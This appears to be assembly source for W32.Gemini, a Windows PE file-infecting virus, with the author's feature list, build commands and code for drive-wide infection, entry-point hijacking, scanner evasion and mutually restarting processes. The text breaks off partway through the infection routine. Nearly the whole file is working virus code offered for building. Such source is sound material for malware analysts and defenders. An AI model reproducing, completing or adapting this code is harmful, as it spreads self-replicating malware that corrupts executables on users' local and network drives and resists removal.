MalwareSourceCode/Win32/Infector/Win32.Gemini.asm

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2020-10-11 03:07:43 +00:00
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comment ;)
W32.Gemini by roy g biv
some of its features:
- parasitic resident (own process) infector of PE exe/dll (but not looking at suffix)
- co-operative processes (if one process is killed, the other will restart it)
- infects files in all directories on all fixed and network drives
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before W32.EfishNC :)
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 gemini
tlink32 /B:400000 /x gemini,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.486
.model flat
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
expnames db "WriteFile" , 0
db "WinExec" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA", 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
krnnames db "WaitForSingleObject" , 0
db "UnmapViewOfFile" , 0
db "Sleep" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetEvent" , 0
db "SetCurrentDirectoryW", 0
db "SetCurrentDirectoryA", 0
db "ResetEvent" , 0
db "ReadProcessMemory" , 0
db "OpenProcess" , 0
db "OpenEventA" , 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetStartupInfoA" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "GetDriveTypeA" , 0
db "GetCurrentProcessId" , 0
db "GetCommandLineA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateThread" , 0
db "CreateProcessA" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CreateEventA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
exename equ "gemini" ;must be < 8 bytes long else code change
txttitle db "Gemini", 0
txtbody db "running...", 0
include gemini.inc
patch_host label near
pop ecx
push ecx
call $ + 5
pop eax
add eax, offset host_patch - offset $ + 6
sub ecx, eax
push ecx
mov eax, esp
xor edi, edi
push edi
push 4
push eax
push offset host_patch + 1
push esi
call WriteProcessMemory
jmp gemini_inf
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------
gemini_exe proc near
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset swap_create - offset krncrcend + 4
db "Gemini - roy g biv" ;two heads are better than one
walk_seh label near
xor esi, esi
lods dword ptr fs:[esi]
inc eax
seh_loop label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne seh_loop
lods dword ptr [esi]
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expordbase]
lods dword ptr [esi] ;Ordinal Base
lea ebp, dword ptr [eax * 2 + ebx]
lods dword ptr [esi]
lods dword ptr [esi]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
add ebp, dword ptr [esi] ;Ordinal Table RVA
lea ecx, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
csum db 'r' ;altered to give sum == 1
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
swap_create label near
mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call cLoadLibraryA
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call cLoadLibraryA
pop ecx
test eax, eax
je sfcapi_esp
found_sfc label near
push edi
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd (sfccrc_count + 1) dup (0)
sfccrcend label near
dd offset sfcapi_pop - offset sfccrcend + 4
sfcapi_pop label near
pop eax
pop edi
sfcapi_esp label near
mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax
mov ecx, offset gemini_codeend - offset gemini_exe
lea esi, dword ptr [edi + offset gemini_exe - offset swap_create]
xor al, al
calc_sum label near
add al, byte ptr [esi]
inc esi
loop calc_sum
dec eax
sub byte ptr [edi + offset csum - offset swap_create], al
push eax
push esp
xor esi, esi
push esi
push esi
call create_thr1
;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------
find_drives proc near
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
drive_loop label near
push eax
push esp
push (krncrcstk.kGetDriveTypeA - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
sub al, DRIVE_FIXED
je drive_set
xchg ecx, eax
loop drive_next ;loop if not DRIVE_REMOTE
;if I were you, you were me
;I wonder who I'd wanna be
;with just one wish you can't refuse
;I wouldn't know what to choose
drive_set label near
push esp
call cSetCurrentDirectoryA
call find_files
drive_next label near
pop eax
inc eax
cmp al, 'Z' + 1
jne drive_loop
push 10 * 60 * 1000 ;10 minutes
call cSleep
jmp find_drives
find_drives endp
create_thr1 label near
push esi
push esi
call cCreateThread
;-----------------------------------------------------------------------------
;alg for process 1 |alg for process 2
;if argc == 1 |if argc == 1
;{ |{
; pid1 = GetCurrentProcessId | always false for process 2
; do |
; { |
; CreateEventA(event1, true) |
; CreateEventA(event2, false) |
; pid2 = CreateProcessA(process2, pid1, event 1, event 2)
; WaitForSingleObject(event2, timeout) |
;restart: |
; CloseHandle(event2) |
; CloseHandle(event1) |
; } |
; while !signal |
;} |}
;OpenProcess(pid2) |OpenProcess(pid1)
;OpenEventA(event1) |OpenEventA(event1)
;OpenEventA(event2) |OpenEventA(event2)
;do |do
;{ |{
; if WaitForSingleObject(event1, 0) | if WaitForSingleObject(event2, 0)
; break | break
; ResetEvent(event2) | ResetEvent(event1)
; if !checksum(pid2) | if !checksum(pid1)
; break | break
; SetEvent(event1) | SetEvent(event2)
; Sleep(sleeplen) | Sleep(sleeplen)
;} |}
;while WaitForSingleObject(event2, timeout) |while WaitForSingleObject(event1, timeout)
;CloseHandle(pid2) |CloseHandle(pid1)
;goto restart |goto restart (and process 2 becomes process 1)
;-----------------------------------------------------------------------------
enter MAX_PATH + 32, 0 ;pathname, pid, event1, event2
get_cmdline label near
push (krncrcstk.kGetCommandLineA - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
xchg esi, eax
mov edi, esp
mov ah, '"'
lods byte ptr [esi]
stos byte ptr [edi]
cmp al, ah
je find_argv
mov ah, ' '
find_argv label near
lods byte ptr [esi]
stos byte ptr [edi]
test al, al
je no_argv
cmp al, ah
jne find_argv
find_argv1 label near
mov edx, esi
lods byte ptr [esi] ;the unpredictable case:
cmp al, ' ' ;how many spaces?
je find_argv1 ;can be 0, 1, or 2
xor ecx, ecx
dec esi
inc edi
no_argv label near
xor ebx, ebx
mov byte ptr [esi - 1], bl ;no args for restart
dec edi
test al, al
mov al, ' '
stos byte ptr [edi]
jne skip_argv1
mov ebp, esp
push (krncrcstk.kGetCurrentProcessId - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
xchg ecx, eax
push edi
call hexdwd2asc
inc edi
call cGetTickCount
push eax
xchg ecx, eax
call create_event
pop ecx
push eax ;CloseHandle
rol ecx, 1
call create_event
pop ecx
pop edi
push ebx ;init continue flag
push ecx
push eax ;CloseHandle
push TIMEOUT * 1000 ;WaitForSingleObject
push eax ;WaitForSingleObject
sub esp, size processinfo
mov edx, esp
sub esp, size startupinfo
mov ecx, esp
push edx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebp
push ebx
push ecx
push (krncrcstk.kGetStartupInfoA - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
push (krncrcstk.kCreateProcessA - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
add esp, size startupinfo + processinfo.pidwProcessId
pop ebx
pop eax
call cWaitForSingleObject
test eax, eax
setz byte ptr [esp + 8] ;store continue flag
restart label near
call cCloseHandle
call cCloseHandle
pop eax
test eax, eax
branch_cmd label near
je get_cmdline
mov ecx, ebx ;remote PID
mov esi, edi
skip_argv1 label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi]
find_argv2 label near
mov ebp, edi ;argv2
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
inc esi
xor al, al
stos byte ptr [edi]
mov ebx, edi ;argv3
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
stos byte ptr [edi]
inc ecx
loop skip_pid
call asc2hex
xchg ebp, ebx ;swap event order for remote process
skip_pid label near
push ecx
xor edi, edi
push edi
push PROCESS_VM_READ
push (krncrcstk.kOpenProcess - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
test eax, eax
je branch_cmd
push edi ;clear continue flag
push eax ;CloseHandle
push ebx
push edi
mov eax, EVENT_MODIFY_STATE or SYNCHRONIZE
push eax
push ebp
push edi
push eax
call cOpenEventA
xchg esi, eax ;event1
call cOpenEventA
xchg edi, eax ;event2
;sing with me just for today
;maybe tomorrow the good Lord will take you away
main_loop label near
push 0
push esi
call cWaitForSingleObject ;ensure local event reset by remote process
xchg ecx, eax
jecxz shutdown ;still signalled
push edi
push (krncrcstk.kResetEvent - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
;local process checksums remote process
;remote process checksums local process
pop eax
push eax
enter (offset gemini_codeend - offset gemini_exe + 3) and -4, 0
mov ecx, esp
push eax
push esp
push offset gemini_codeend - offset gemini_exe
push ecx
push 401000h + expsize
push eax
push (krncrcstk.kReadProcessMemory - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
pop ecx
jecxz shutdown ;read failure
xor eax, eax
check_sum label near
add al, byte ptr [esp]
inc esp
loop check_sum
leave
xchg ecx, eax
loop shutdown
push esi
push (krncrcstk.kSetEvent - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
push SLEEPLEN * 1000
call cSleep
push TIMEOUT * 1000
push edi
call cWaitForSingleObject
xchg ecx, eax
jecxz main_loop ;signalled in time
;if one process is killed, then one more process will start
;if one process is altered, then two more processes will start!
;like the Sorceror's Apprentice ;)
shutdown label near
call cCloseHandle
push esi
push edi
jmp restart
skip_spaces proc near
mov ecx, edi
lods byte ptr [esi]
stos byte ptr [edi]
cmp al, ' '
je skip_spaces
ret
skip_spaces endp
asc2hex proc near
xor ecx, ecx
mov esi, edx
asc2hex_loop label near
lods byte ptr [esi]
sub al, '0'
jb asc2hex_ret
cmp al, 9
jbe asc2hex_add
sub al, 7
asc2hex_add label near
shl ecx, 4
or cl, al
jmp asc2hex_loop
asc2hex_ret label near
ret
asc2hex endp
create_event proc near
mov al, ' '
dec edi
stos byte ptr [edi]
push edi ;CreateEventA
call hexdwd2asc
xor al, al
stos byte ptr [edi]
push ebx
push esp ;non-zero
push ebx
push (krncrcstk.kCreateEventA - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
ret
hexdwd2asc proc near
call hexwrd2asc
call hexwrd2asc
call hexwrd2asc
hexwrd2asc proc near
rol ecx, 8
mov eax, ecx
aam 10h
call hexbyt2asc
hexbyt2asc proc near
xchg ah, al
cmp al, 0ah
sbb al, 69h
das
stos byte ptr [edi]
ret
hexbyt2asc endp
hexwrd2asc endp
hexdwd2asc endp
create_event endp
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
find_files proc near
push size findlist
push GMEM_ZEROINIT
call cGlobalAlloc
test eax, eax
je file_exit
xchg esi, eax
call get_krnapis
file_first label near
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je file_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je file_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz file_next
push size findlist
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp file_first
file_exit label near
ret
file_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------
push edi
mov al, (krncrcstk.kFindClose - krncrcstk.kWaitForSingleObject) shr 2
call store_krnapi
file_prev label near
push esi
mov esi, dword ptr [esi + findlist.findprev]
call cGlobalFree
test esi, esi
je file_exit
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
push esp
call cSetCurrentDirectoryA
pop eax
jmp file_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call cGetVersion
test eax, eax
jns store_sfcapi
;did you dream you were together and wake up alone?
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
push (krncrcstk.kMultiByteToWideChar - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
store_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, '!bgr' ;SfcIsFileProtected
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx ;attribute ignored for existing files
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
close_file label near ;label required for delta offset
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push ebx
push (krncrcstk.kSetFileTime - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
push ebx
call cCloseHandle
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp file_next
find_files endp
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "14/02/02" ;missing her on Valentine's Day
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;-----------------------------------------------------------------------------
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
;-----------------------------------------------------------------------------
;if file is a .dll, then we require an entry point function
;-----------------------------------------------------------------------------
lods dword ptr [esi]
xchg ecx, eax
test ah, IMAGE_FILE_DLL shr 8
je test_system
jecxz inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
test_system label near
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
jne inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
add eax, edx
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
inc dword ptr [esp + mapsehstk.mapsehinfret]
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
call cGetTickCount
and eax, RANDPADMAX - 1
add ax, small (offset gemini_codeend - offset gemini_exe + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
xor ecx, ecx
push eax
push eax ;MapViewOfFile
push ecx ;MapViewOfFile
push ecx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push ecx
push eax
push ecx
push PAGE_READWRITE
push ecx
push ebx
push (krncrcstk.kCreateFileMappingA - krncrcstk.kWaitForSingleObject) shr 2
pop eax ;ANSI map is allowed because of no name
call store_krnapi
push eax
xchg edi, eax
push (krncrcstk.kMapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
mov esp, dword ptr [esp + sehstruc.sehprevseh]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
push (krncrcstk.kUnmapViewOfFile - krncrcstk.kWaitForSingleObject) shr 2
pop eax
call store_krnapi
call cCloseHandle
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_krnapis proc near ;place near to jump table for smaller code
call cGetVersion
krnapi_delta label near
shr eax, 1fh
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
lea ebp, dword ptr [eax * 4 + ecx]
ret
get_krnapis endp
;-----------------------------------------------------------------------------
;indexed API jump table
;-----------------------------------------------------------------------------
cWaitForSingleObject proc near
xor eax, eax
jmp store_krnapi
cWaitForSingleObject endp
cSleep proc near
push (krncrcstk.kSleep - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cSleep endp
cSetCurrentDirectoryA proc near
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cSetCurrentDirectoryA endp
cOpenEventA proc near
push (krncrcstk.kOpenEventA - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cOpenEventA endp
cLoadLibraryA proc near
push (krncrcstk.kLoadLibraryA - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cLoadLibraryA endp
cGlobalFree proc near
push (krncrcstk.kGlobalFree - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cGlobalFree endp
cGlobalAlloc proc near
push (krncrcstk.kGlobalAlloc - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cGlobalAlloc endp
cGetVersion proc near
push (krncrcstk.kGetVersion - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cGetVersion endp
cGetTickCount proc near
push (krncrcstk.kGetTickCount - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cGetTickCount endp
cCreateThread proc near
push (krncrcstk.kCreateThread - krncrcstk.kWaitForSingleObject) shr 2
jmp call_krncrc
cCreateThread endp
cCloseHandle proc near
push (krncrcstk.kCloseHandle - krncrcstk.kWaitForSingleObject) shr 2
cCloseHandle endp
call_krncrc proc near
pop eax
store_krnapi label near
jmp dword ptr [eax * 4 + '!bgr']
call_krncrc endp
;-----------------------------------------------------------------------------
;infect file in two parts
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
; entry point is altered to point to some code. very simple
; however, that code just drops exe and returns
; exe contains infection routine
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
imul eax, eax, size pesect
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
add eax, ecx
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, offset gemini_codeend - offset gemini_exe
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
lea edx, dword ptr [eax + ecx]
mov esi, offset gemini_exe - offset delta_label
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
;delta offset
rep movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;alter entry point
;-----------------------------------------------------------------------------
add eax, offset gemini_inf - offset gemini_exe
xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
sub eax, edx
mov dword ptr [edi + offset host_patch - offset gemini_codeend + 1], eax
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xchg dword ptr [ebx], ecx
